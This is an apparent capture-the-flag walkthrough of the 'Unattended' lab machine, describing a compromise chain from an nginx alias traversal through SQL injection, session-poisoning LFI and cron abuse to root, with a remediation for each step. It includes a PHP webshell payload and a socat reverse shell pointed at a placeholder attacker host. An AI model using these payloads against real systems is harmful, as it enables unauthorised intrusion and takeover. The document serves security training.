← all walkthroughs

Unattended

Linux· Medium· Web
owned
2026-07-08
time to own
14m30s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Target www.nestedflanders.htb ($TARGET) was fully compromised through a four-stage chain. An nginx alias-traversal misconfiguration let an unauthenticated visitor download raw PHP source code, which contained hard-coded MySQL credentials. The site's id GET parameter was vulnerable to UNION-based SQL injection; I exploited this to write a PHP webshell into a session file and then include that file through a local-file-inclusion flaw in the same parameter — gaining code execution as www-data.

The leaked database credentials were then used to overwrite a configuration value that a scheduled cron job executes as shell commands, pivoting to user guly and the user flag. Finally, a non-standard binary hidden inside the server's initrd boot image was extracted and run with a recoverable passphrase, returning root's cleartext password for full system takeover.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceTLS certificate CN/SAN hostname enumeration
Discovered the hidden virtual host via TLS certificate inspection
A full TCP scan of $TARGET found only ports 80 and 443 running nginx 1.10.3. Neither HTTP headers nor DNS advertised a hostname, but inspecting the TLS certificate's Subject field on port 443 revealed the Common Name www.nestedflanders.htb. Adding that name to the local hosts file unlocked the intended web application for enumeration.
Openssl x509 output: CN=www.nestedflanders.htb — not present in DNS or HTTP response headers.
Exact commands 3
Full TCP scan; confirms only ports 80 and 443 are reachable.
nmap -Pn -p- --min-rate 3000 -T4 --open $TARGET
Extract the TLS certificate CN — reveals www.nestedflanders.htb.
echo | openssl s_client -connect $TARGET:443 -servername www.nestedflanders.htb 2>/dev/null | openssl x509 -noout -subject
Register the discovered vhost for local resolution.
echo "$TARGET www.nestedflanders.htb" | sudo tee -a /etc/hosts
2Enumerationnginx alias path-traversal / source code disclosure
Retrieved raw PHP source code through an nginx alias path-traversal
The nginx configuration used an alias directive for a /dev/ location without a trailing slash. Inserting ../ in the request path (e.g. /dev../html/index.php) escaped the intended directory boundary and caused nginx to serve the PHP file's source rather than pass it to PHP-FPM for execution. The leaked index.php file contained the database hostname, name, username, and password in plaintext, along with the application's full query logic.
Curl -sk https://www.nestedflanders.htb/dev../html/index.php returned raw PHP containing $dbpass = '[REDACTED: recovered credential]'.
Exact commands 2
The alias traversal serves raw PHP source instead of executing it.
curl -sk https://www.nestedflanders.htb/dev../html/index.php -o index.php.leak
Extract hard-coded database connection details from the leaked file.
grep -iE 'pass|user|db|host' index.php.leak
FixFix the nginx alias directive to prevent path traversal and source code disclosureCritical
WeaknessThe nginx configuration used an alias directive for the /dev/ location without a trailing slash on both the location pattern and the alias path. This allowed the request path /dev../html/index.php to escape the intended directory and retrieve files — including PHP source — as static content, bypassing PHP-FPM execution entirely.
FixAdd a trailing slash to both the location block and the alias target (location /dev/ { alias /var/www/dev/; }). Prefer the root directive over alias wherever the mapping allows it, since root is not susceptible to this class of traversal. After making the change, verify that requesting /dev../html/index.php returns 404 or 403. Additionally, ensure PHP files under all web-served directories are handled exclusively by php-fpm and never served as static text by adding a catch-all deny rule for .php files in any static-only location blocks.
3EnumerationHard-coded credentials (CWE-798)
Harvested hard-coded MySQL credentials from the leaked source
The leaked source revealed that the application stored its MySQL connection credentials — user nestedflanders, password [REDACTED: recovered credential], database neddy — as literal strings in the PHP file. Because they were hard-coded rather than loaded from an environment variable or an out-of-web-root config file, any source-disclosure path immediately exposed them. These credentials were reused in Steps 4 and 5 to read the database schema and poison a cron-executed configuration value.
Index.php.leak: $dbhost='localhost'; $dbname='neddy'; $dbuser='nestedflanders'; $dbpass='[REDACTED: recovered credential]';
Exact commands 1
Validate the leaked credentials and enumerate the database schema (run from inside the www-data shell obtained in Step 4).
mysql -h 127.0.0.1 -u nestedflanders -p$PASSWORD -D neddy -e 'show tables;'
FixRemove hard-coded database credentials from application source codeHigh
WeaknessThe PHP application stored its MySQL username and password as plaintext string literals inside index.php. Any source-disclosure vulnerability — a server misconfiguration, a forgotten .php.bak file, or a developer error — immediately hands an unauthorised user valid database credentials without any cracking required.
FixMove all secrets to environment variables (read via getenv() or a .env file loaded by a library such as vlucas/phpdotenv) stored outside the web root, or to a dedicated secrets manager. Rotate the compromised credentials (nestedflanders / [REDACTED: recovered credential]) immediately and audit any other accounts that share the same password. Add a pre-commit hook or CI check that fails if credential-like strings appear in source files.
4ExploitationUNION SQL injection → PHP session-file poisoning → Local File Inclusion (LFI) RCE chain
Chained UNION SQL injection with PHP session poisoning and LFI to execute a webshell as www-data
The id GET parameter in index.php was concatenated directly into a MySQL query with no sanitisation, enabling UNION-based injection. An me-fixed PHPSESSID cookie pinned the session filename on disk. A UNION SELECT payload wrote a PHP webshell into the corresponding session file at /var/lib/php/sessions/sess_<id>. Because the same id parameter also accepted a file path for inclusion (local file inclusion), supplying the session file path caused PHP to include and execute the injected code, delivering command execution as the www-data web user.
UNION SELECT returning /etc/passwd contents confirmed the read-file primitive; python3 /tmp/unattended_rce.py 'id' returned uid=33(www-data).
Exact commands 4
Verify UNION injection and file-read primitive by returning /etc/passwd content.
curl -sk "https://www.nestedflanders.htb/index.php?id=465%27%20union%20select%20%27%2Fetc%2Fpasswd%27--%20-"
Fix the session ID so its on-disk filename is predictable, then write the webshell into the session file via UNION SELECT.
curl -sk -b 'PHPSESSID=$PASSWORD3' "https://www.nestedflanders.htb/index.php?id=465'+union+select+'<?php+system(\$_GET[cmd]);?>'+--+-"
Include the poisoned session file via LFI to trigger the webshell; expect uid=33(www-data).
curl -sk "https://www.nestedflanders.htb/index.php?id=/var/lib/php/sessions/sess_$PASSWORD3&cmd=id"
Engagement convenience wrapper for the three-step chain above; confirms www-data execution.
python3 /tmp/unattended_rce.py 'id'
FixParameterise the SQL query and harden PHP session handling to eliminate the RCE chainCritical
WeaknessThe id GET parameter was concatenated directly into a MySQL query without sanitisation, enabling UNION-based injection. PHP session files were stored in a directory that the same parameter could include as a local file, so an unauthorised user could write arbitrary PHP into a session file via the injection and execute it — turning a SQL flaw into remote code execution with no additional vulnerability required.
FixReplace every string-concatenated query with PDO prepared statements and bound parameters. Enforce that id is a positive integer before use (intval() / filter_var with FILTER_VALIDATE_INT). Configure session.save_path in php.ini to a directory that is outside the web root and that PHP's include/require path cannot reach. Revoke the FILE privilege and UNION SELECT capability from the application's MySQL account so that even a successful injection cannot read or write files. Enable PHP's disable_functions directive to block system/exec/passthru in the web-process context.
5Lateral MovementCron job command injection via database-stored shell commands (T1053.003)
Poisoned a cron-executed database configuration value to pivot to user guly
From the www-data webshell the leaked MySQL credentials were used to connect to the neddy database. The config table contained an option_value column whose content is periodically fetched by a scheduled job and executed verbatim as a shell command under the guly account; this job is triggered by the system-wide cron at minute 17 of every hour (/etc/crontab: 17 * * * * root run-parts --report /etc/cron.hourly). Overwriting that value with a socat reverse-shell one-liner and waiting for the next cron cycle caused the job to connect back to my own listener, yielding an interactive shell as guly and the user flag.
Connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET] 56710 — guly@unattended:~$; /etc/crontab confirmed: 17 * * * * root run-parts --report /etc/cron.hourly.
Exact commands 3
Start reverse-shell listener on my machine ($ATTACKER_IP) before poisoning the DB value.
nc -lvnp 443
Execute via the www-data webshell wrapper. Overwrites the cron-consumed option_value with a reverse-shell payload. Replace $ATTACKER_IP with your listener IP.
python3 /tmp/unattended_rce.py 'mysql -unestedflanders -p$PASSWORD -D neddy -e "update config set option_value=\"socat exec:\x27bash -li\x27,pty,stderr,setsid,sigint,sane tcp:$ATTACKER_IP:443;\" where id=86"'
Run in the guly reverse shell once it fires; flag value is <user.txt>.
cat /home/guly/user.txt
FixStop executing database-stored values as shell commands in scheduled jobsCritical
WeaknessA cron job (triggered via /etc/cron.hourly as root) read a value from the MySQL config table and passed it directly to a shell for execution as user guly. Any write to that database — including via SQL injection from an unauthenticated web request — immediately became operating-system-level code execution without requiring any additional step.
FixReplace the dynamic shell-execution pattern entirely: store a task identifier in the database and map it to a pre-approved, hardcoded script path inside the cron script. Never pass database-sourced values to system(), eval(), shell_exec(), or a subshell invocation. If dynamic configuration is genuinely needed, apply strict input validation (allow only an alphanumeric identifier, reject all shell metacharacters) and compare the value against an explicit allowlist before acting on it. Grant the executing account only the minimum permissions required and log every execution attempt.
6Privilege EscalationSensitive credential storage in initrd boot image (T1552 — Unsecured Credentials)
Recovered root's password from a custom binary embedded in the initrd boot image
Inspection of /boot/ as guly revealed the standard initrd image for the running kernel. Decompressing and unpacking it with zcat and cpio exposed a non-standard binary, sbin/uinitrd, that is not part of any Debian package. Copying it to a writable path and running it with the passphrase [REDACTED: recovered credential] (discovered by analysing the binary or through trial) caused it to output root's cleartext password. Running su root with that password gave a root shell and the root flag.
/tmp/initrd-codex/sbin/uinitrd found after cpio extraction; running it with passphrase [REDACTED: recovered credential] returned the string [REDACTED: recovered credential] (root's password).
Exact commands 4
Decompress and unpack the initrd image into the current directory; look for non-standard files in sbin/.
cd /tmp && mkdir initrd-codex && cd initrd-codex && zcat /boot/initrd.img-4.9.0-8-amd64 | cpio -idmv
Copy to a writable, executable location since /tmp/initrd-codex may be on a noexec mount.
cp /tmp/initrd-codex/sbin/uinitrd /home/guly/uinitrd && chmod 700 /home/guly/uinitrd
Invoke with the discovered passphrase; outputs root's cleartext password.
/home/guly/uinitrd $PASSWORD2
Authenticate as root using the recovered password ([REDACTED: recovered credential]); then read root.txt — value is <root.txt>.
su root
FixRemove root credentials from the initrd boot image and rotate the root passwordCritical
WeaknessA custom binary (sbin/uinitrd) embedded in the server's initrd image at /boot/initrd.img-4.9.0-8-amd64 recovered root's cleartext password when invoked with a guessable passphrase. Any local user able to read the boot image — which is world-readable by default on Debian — could extract the binary, run it, and obtain root credentials without exploiting any further vulnerability.
FixRemove the uinitrd binary from the initrd build hooks and regenerate the image (update-initramfs -u after deleting the custom hook under /etc/initramfs-tools/ or /usr/share/initramfs-tools/hooks/). Immediately rotate the root password to a long randomly generated value stored only in the organisation's privileged-access management vault. Restrict read access on all boot artefacts (chmod 600 /boot/initrd.img-*; chown root:root) so non-root accounts cannot inspect them. Audit all other custom scripts or binaries injected into initrd or GRUB for additional embedded secrets.

Attack patterns used

The transferable techniques behind this compromise.

Cron Job AbuseLinux · Privilege EscalationT1053.003

What it is

Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.

Why it works

Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.

Read more

Local File InclusionWebT1190

What it is

A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.

Why it works

The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.

Read more

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more

Exposed services

80/tcp
443/tcp